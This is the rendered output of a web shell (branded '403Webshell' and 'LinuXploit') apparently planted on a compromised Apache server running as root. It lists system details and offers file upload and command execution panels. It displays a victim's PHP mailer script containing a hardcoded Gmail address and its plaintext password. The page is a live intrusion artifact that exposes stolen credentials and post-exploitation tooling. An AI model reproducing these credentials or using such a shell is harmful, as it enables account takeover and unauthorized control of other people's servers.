403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/demosurveyV7/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/demosurveyV7/sendmail.php
<?php

require_once('modules/Emails/mail.php');
require_once('modules/Emails/class.phpmailer.php');

$mail = new PHPMailer();
$mail->IsSMTP();

$mail->SMTPDebug = 0;
$mail->Mailer = 'smtp';
$mail->SMTPAuth = true;
$mail->SMTPSecure = 'tls';
$mail->Host = 'smtp.gmail.com';
$mail->Port = 587;
$mail->Username = 'vijayb.variance@gmail.com';
$mail->Password = 'Vijay@2020';
$mail->CharSet = 'windows-1250';
$mail->SetFrom ('vijayb.variance@gmail.com', 'Variance');
$mail->Subject = "test from diksha";
$mail->ContentType = 'text/plain';
$mail->IsHTML(true);
$mail->Body = "test";
$mail->AddAddress ('crmtiger03@gmail.com', '');
//echo "<pre>";print_r($mail);exit;
if(!$mail->Send()) {
echo $error_message = "Mailer Error: " . $mail->ErrorInfo;
}else{
echo $error_message = "Successfully sent!";
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit